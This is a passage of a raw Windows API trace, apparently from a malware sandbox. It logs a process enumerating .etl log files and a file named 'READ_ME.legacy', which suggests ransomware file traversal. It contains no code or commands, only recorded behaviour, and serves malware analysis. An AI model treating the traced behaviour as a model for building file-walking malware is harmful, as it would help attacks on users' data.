Flags=0x0, Size=0x80) returned 0x5599e0 [0116.644] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x588b3c6a, ftLastAccessTime.dwHighDateTime=0x1d336de, ftLastWriteTime.dwLowDateTime=0x59ae67c8, ftLastWriteTime.dwHighDateTime=0x1d336de, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NotificationUxBroker.004.etl", cAlternateFileName="NO2FB3~1.ETL")) returned 1 [0116.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0116.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0116.644] GetLastError () returned 0x0 [0116.644] SetLastError (dwErrCode=0x0) [0116.644] GetLastError () returned 0x0 [0116.644] SetLastError (dwErrCode=0x0) [0116.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0116.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0116.644] GetLastError () returned 0x0 [0116.644] SetLastError (dwErrCode=0x0) [0116.644] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0116.644] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0116.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0116.645] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xb4b94410, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0xb50917ed, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NotificationUxBroker.005.etl", cAlternateFileName="NO74F7~1.ETL")) returned 1 [0116.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0116.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0116.645] GetLastError () returned 0x0 [0116.645] SetLastError (dwErrCode=0x0) [0116.645] GetLastError () returned 0x0 [0116.645] SetLastError (dwErrCode=0x0) [0116.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0116.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0116.645] GetLastError () returned 0x0 [0116.645] SetLastError (dwErrCode=0x0) [0116.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0116.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0116.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0116.645] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x86d6bb14, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x8728eea2, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NotificationUxBroker.006.etl", cAlternateFileName="NOC92C~1.ETL")) returned 1 [0116.645] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0116.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0116.645] GetLastError () returned 0x0 [0116.645] SetLastError (dwErrCode=0x0) [0116.645] GetLastError () returned 0x0 [0116.645] SetLastError (dwErrCode=0x0) [0116.645] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0116.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0116.646] GetLastError () returned 0x0 [0116.646] SetLastError (dwErrCode=0x0) [0116.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0116.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0116.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0116.646] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe7f77c60, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xebc8ba4e, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NotificationUxBroker.007.etl", cAlternateFileName="NOAEB3~1.ETL")) returned 1 [0116.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0116.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0116.646] GetLastError () returned 0x0 [0116.646] SetLastError (dwErrCode=0x0) [0116.646] GetLastError () returned 0x0 [0116.646] SetLastError (dwErrCode=0x0) [0116.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0116.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0116.646] GetLastError () returned 0x0 [0116.646] SetLastError (dwErrCode=0x0) [0116.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0116.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0116.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0116.647] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe1017621, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe10d621a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NotificationUxBroker.008.etl", cAlternateFileName="NO6494~1.ETL")) returned 1 [0116.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0116.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0116.647] GetLastError () returned 0x0 [0116.647] SetLastError (dwErrCode=0x0) [0116.647] GetLastError () returned 0x0 [0116.647] SetLastError (dwErrCode=0x0) [0116.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0116.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0116.647] GetLastError () returned 0x0 [0116.647] SetLastError (dwErrCode=0x0) [0116.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0116.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0116.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60aea0 [0116.647] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x2fb7ebe4, ftLastAccessTime.dwHighDateTime=0x1d327d1, ftLastWriteTime.dwLowDateTime=0x2fc89ca0, ftLastWriteTime.dwHighDateTime=0x1d327d1, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NotificationUxBroker.009.etl", cAlternateFileName="NO492C~1.ETL")) returned 1 [0116.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0116.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0116.648] GetLastError () returned 0x0 [0116.648] SetLastError (dwErrCode=0x0) [0116.648] GetLastError () returned 0x0 [0116.648] SetLastError (dwErrCode=0x0) [0116.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b720 [0116.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0116.648] GetLastError () returned 0x0 [0116.648] SetLastError (dwErrCode=0x0) [0116.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0116.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0116.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60af28 [0116.648] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xd855139b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd87b395e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NotificationUxBroker.010.etl", cAlternateFileName="NO0EF1~1.ETL")) returned 1 [0116.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b720 | out: hHeap=0x520000) returned 1 [0116.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0116.648] GetLastError () returned 0x0 [0116.648] SetLastError (dwErrCode=0x0) [0116.648] GetLastError () returned 0x0 [0116.648] SetLastError (dwErrCode=0x0) [0116.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b258 [0116.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0116.648] GetLastError () returned 0x0 [0116.648] SetLastError (dwErrCode=0x0) [0116.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0116.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0116.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b610 [0116.649] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x1ff683d6, ftLastAccessTime.dwHighDateTime=0x1d327c0, ftLastWriteTime.dwLowDateTime=0x20000d39, ftLastWriteTime.dwHighDateTime=0x1d327c0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NotificationUxBroker.011.etl", cAlternateFileName="NOC3D2~1.ETL")) returned 1 [0116.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b258 | out: hHeap=0x520000) returned 1 [0116.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0116.649] GetLastError () returned 0x0 [0116.649] SetLastError (dwErrCode=0x0) [0116.649] GetLastError () returned 0x0 [0116.649] SetLastError (dwErrCode=0x0) [0116.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b588 [0116.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0116.649] GetLastError () returned 0x0 [0116.649] SetLastError (dwErrCode=0x0) [0116.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0116.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0116.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b7a8 [0116.649] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x46e2de3d, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x46eecb64, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NotificationUxBroker.012.etl", cAlternateFileName="NOA86A~1.ETL")) returned 1 [0116.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b588 | out: hHeap=0x520000) returned 1 [0116.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0116.650] GetLastError () returned 0x0 [0116.650] SetLastError (dwErrCode=0x0) [0116.650] GetLastError () returned 0x0 [0116.650] SetLastError (dwErrCode=0x0) [0116.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60afb0 [0116.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0116.650] GetLastError () returned 0x0 [0116.650] SetLastError (dwErrCode=0x0) [0116.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0116.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0116.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b258 [0116.650] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x235d058f, ftLastAccessTime.dwHighDateTime=0x1d327bf, ftLastWriteTime.dwLowDateTime=0x23917bad, ftLastWriteTime.dwHighDateTime=0x1d327bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NotificationUxBroker.013.etl", cAlternateFileName="NO3128~1.ETL")) returned 1 [0116.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60afb0 | out: hHeap=0x520000) returned 1 [0116.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0116.651] GetLastError () returned 0x0 [0116.651] SetLastError (dwErrCode=0x0) [0116.651] GetLastError () returned 0x0 [0116.651] SetLastError (dwErrCode=0x0) [0116.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b940 [0116.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0116.651] GetLastError () returned 0x0 [0116.651] SetLastError (dwErrCode=0x0) [0116.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0116.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0116.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60afb0 [0116.651] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x8f69453d, ftLastAccessTime.dwHighDateTime=0x1d327b9, ftLastWriteTime.dwLowDateTime=0x8f779518, ftLastWriteTime.dwHighDateTime=0x1d327b9, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NotificationUxBroker.014.etl", cAlternateFileName="NO43D2~1.ETL")) returned 1 [0116.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b940 | out: hHeap=0x520000) returned 1 [0116.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0116.651] GetLastError () returned 0x0 [0116.651] SetLastError (dwErrCode=0x0) [0116.651] GetLastError () returned 0x0 [0116.652] SetLastError (dwErrCode=0x0) [0116.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b830 [0116.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0116.652] GetLastError () returned 0x0 [0116.652] SetLastError (dwErrCode=0x0) [0116.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0116.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0116.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60ae18 [0116.652] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7fb3688d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7fc1b6b8, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NotificationUxBroker.015.etl", cAlternateFileName="NOTIFI~4.ETL")) returned 1 [0116.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b830 | out: hHeap=0x520000) returned 1 [0116.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0116.652] GetLastError () returned 0x0 [0116.652] SetLastError (dwErrCode=0x0) [0116.652] GetLastError () returned 0x0 [0116.652] SetLastError (dwErrCode=0x0) [0116.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60ad90 [0116.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0116.653] GetLastError () returned 0x0 [0116.653] SetLastError (dwErrCode=0x0) [0116.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0116.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0116.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b698 [0116.653] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcb502d29, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb5c1a4e, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NotificationUxBroker.016.etl", cAlternateFileName="NOTIFI~3.ETL")) returned 1 [0116.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ad90 | out: hHeap=0x520000) returned 1 [0116.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0116.653] GetLastError () returned 0x0 [0116.653] SetLastError (dwErrCode=0x0) [0116.653] GetLastError () returned 0x0 [0116.653] SetLastError (dwErrCode=0x0) [0116.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b9c8 [0116.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0116.653] GetLastError () returned 0x0 [0116.653] SetLastError (dwErrCode=0x0) [0116.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0116.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0116.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b2e0 [0116.654] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b53cfc, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7b53cfc, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x8be7d51, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NotificationUxBroker.017.etl", cAlternateFileName="NOTIFI~1.ETL")) returned 1 [0116.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b9c8 | out: hHeap=0x520000) returned 1 [0116.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0116.654] GetLastError () returned 0x0 [0116.654] SetLastError (dwErrCode=0x0) [0116.654] GetLastError () returned 0x0 [0116.654] SetLastError (dwErrCode=0x0) [0116.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b368 [0116.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0116.654] GetLastError () returned 0x0 [0116.654] SetLastError (dwErrCode=0x0) [0116.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0116.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0116.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b720 [0116.655] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd30188cb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd30188cb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd30188cb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0116.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b368 | out: hHeap=0x520000) returned 1 [0116.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0116.655] GetLastError () returned 0x0 [0116.655] SetLastError (dwErrCode=0x0) [0116.655] GetLastError () returned 0x0 [0116.655] SetLastError (dwErrCode=0x0) [0116.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b368 [0116.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0116.655] GetLastError () returned 0x0 [0116.655] SetLastError (dwErrCode=0x0) [0116.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d460 [0116.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d460 | out: hHeap=0x520000) returned 1 [0116.655] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xab359e9a, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xab359e9a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.001.etl", cAlternateFileName="UP2DAF~1.ETL")) returned 1 [0116.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b368 | out: hHeap=0x520000) returned 1 [0116.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0116.656] GetLastError () returned 0x0 [0116.656] SetLastError (dwErrCode=0x0) [0116.656] GetLastError () returned 0x0 [0116.656] SetLastError (dwErrCode=0x0) [0116.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b588 [0116.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0116.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b588 | out: hHeap=0x520000) returned 1 [0116.656] GetLastError () returned 0x0 [0116.656] SetLastError (dwErrCode=0x0) [0116.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0116.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0116.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6e68 [0116.656] FindNextFileW (in: hFindFile=0x566f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa972a1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xde371631, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x2bb800e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UpdateSessionOrchestration.002.etl", cAlternateFileName="UP3884~1.ETL")) returned 1 [0116.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0116.657] GetLastError () returned 0x0 [0116.657] SetLastError (dwErrCode=0x0) [0116.657] GetLastError () returned 0x0 [0116.657] SetLastError (dwErrCode=0x0) [0116.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60ad08 [0116.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0116.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ad08 | out: hHeap=0x520000) returned 1 [0116.657] GetLastError () returned 0x0 [0116.657] SetLastError (dwErrCode=0x0) [0116.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d240 [0116.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0116.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, 